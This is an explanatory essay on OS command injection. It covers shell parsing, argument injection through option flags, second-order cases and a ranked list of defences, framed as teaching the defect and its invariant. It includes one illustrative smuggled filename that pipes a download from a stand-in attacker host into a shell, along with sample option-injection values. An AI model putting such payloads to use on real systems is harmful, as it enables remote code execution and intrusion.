OS command injection is usually taught as "strip out semicolons and pipes." Give the definition of the defect that also explains how a program can be exploited when no shell is involved and no metacharacter is accepted, and state the invariant the calling code must hold.

## The class, stated generally Every injection bug has the same shape: a caller composes a request for an interpreter by gluing a fixed template to untrusted data, and the interpreter then parses the whole thing. The interpreter has no channel through which it could learn which bytes the developer intended as structure and which arrived from a user, so any byte the user supplies that happens to be syntax *is* syntax. The database case is the reference instance of this and is covered on its own; the invariant is identical here. What makes OS command execution worth its own treatment is that the path from your code to the effect contains **two independent interpreters**, and the well-known defence closes only one of them. ## Boundary one: string to command list A shell is a programming language interpreter whose job is to turn a line of text into processes. Given a string it performs, roughly: parameter and variable expansion, command substitution (`$(...)` and backticks), arithmetic expansion, word splitting on a configurable separator, pathname expansion (globbing), quote removal, redirection setup, and the splitting of the line into a pipeline or a list joined by `;`, `&&`, `||` or a newline. Every one of those is a mechanism for a byte in your string to change what runs. So when a program builds `"convert " + filename + " out.png"` and hands the result to a shell, a filename of `x.png; curl attacker/s | sh` is not a filename — it is two more commands. Note that no quoting error is required: word splitting alone means an unquoted value containing a space becomes two arguments, and glob characters become a directory query. ## Boundary two: arguments to semantics Now assume you did the recommended thing: no shell, an explicit array of arguments, and a validator that rejects every shell metacharacter. You are still exploitable, because the *callee* parses its own arguments. By universal convention, an argument beginning with `-` is an option, not an operand. So a user-supplied "filename" of `--output=/etc/something`, or `-o`, or a long option that names a config file, a plugin, a script to run, a URL to fetch, or a debug hook, changes what the program does. Command-line tools are full of options that write files, execute helpers, load code, or follow network references — because for their intended user, that is a feature. Argument injection is invisible to a metacharacter filter because there are no metacharacters: `-` is an ordinary printable character. This is why the mental model "dangerous characters" fails and the mental model "who owns the structure" succeeds. In boundary one the structure is the command list; in boundary two the structure is the option/operand split. ## The invariant > The caller owns all structure. Untrusted values may occupy only positions that the caller has already fixed as value positions, and must arrive at the callee as inert elements that the callee cannot re-read as structure. Operationally that means: the executable path is a constant from code, never assembled; the flags are constants from code; the count and order of arguments are decided by code; each untrusted value becomes exactly one argument; an explicit end-of-options marker (`--`) precedes the operands so nothing after it is parsed as a flag; and a user-supplied path is prefixed (`./name`) so a leading dash cannot survive. Where the *structure itself* must vary with user input — which program to run, which flags to include — the value selects from a finite, code-owned set rather than being interpolated. ## Where the shell hides People remove the obvious shell call and leave several others: - one-string "run this command line" APIs, which spawn a shell by definition - a runtime whose launch API silently uses a shell when handed a string rather than an array, or when the target is a script without a valid interpreter line - container entrypoints and commands written in shell form rather than exec form - scheduled-job entries, build-tool recipes, process-supervisor configuration, and CI step definitions, all of which are shell text with variables interpolated - a remote-access forced command, where the client's requested command is appended to a template - a tool that shells out on *your* behalf: your call was argv-clean, but the program you invoked builds a shell string from the argument you passed it And the input does not have to arrive in the same request as the execution. **Second-order** cases are common: a value is stored now — a filename, a hostname, a display name — and interpolated into a maintenance script, a report job or a backup command later, often in a process with far more privilege than the one that accepted it. ## The defence ladder for this sink Use one ordering and one vocabulary: 1. **Structural separation.** Launch the program with an explicit argument vector and no shell. This is a *guarantee* rather than a heuristic: the operating system's process-creation primitive receives an array, so there is no lexing step in which a byte could become syntax. 2. **Closed-world enumeration**, which takes the top rung whenever the structure itself must be dynamic. A finite map from a public token to a code-owned invocation is bounded and owned by your code; a pattern that merely constrains characters is open-world and still admits every dangerous option that happens to match it. 3. **Escaping / transformation.** Quoting a value for a specific shell. Weaker because it requires you to model a lexer you did not write and cannot pin. 4. **Validation.** Rejecting inputs that look wrong. Useful, but a heuristic about what an attacker might send. 5. **Detection.** Logging, alerting, egress monitoring. Tells you afterwards. Each rung down trades a guarantee for a heuristic. The neighbouring sinks — a database query language, a file path, an HTML document — instantiate the same ladder with different top rungs, which is the point: the ladder is the transferable knowledge, the metacharacter list is not. ## Blind exploitation Finally, do not equate "the output is not returned to the user" with "not exploitable." Where nothing is echoed, an attacker confirms execution with a timing delay or by making the target perform an outbound lookup or request that they can observe. Absence of visible output is absence of a convenience, not absence of impact.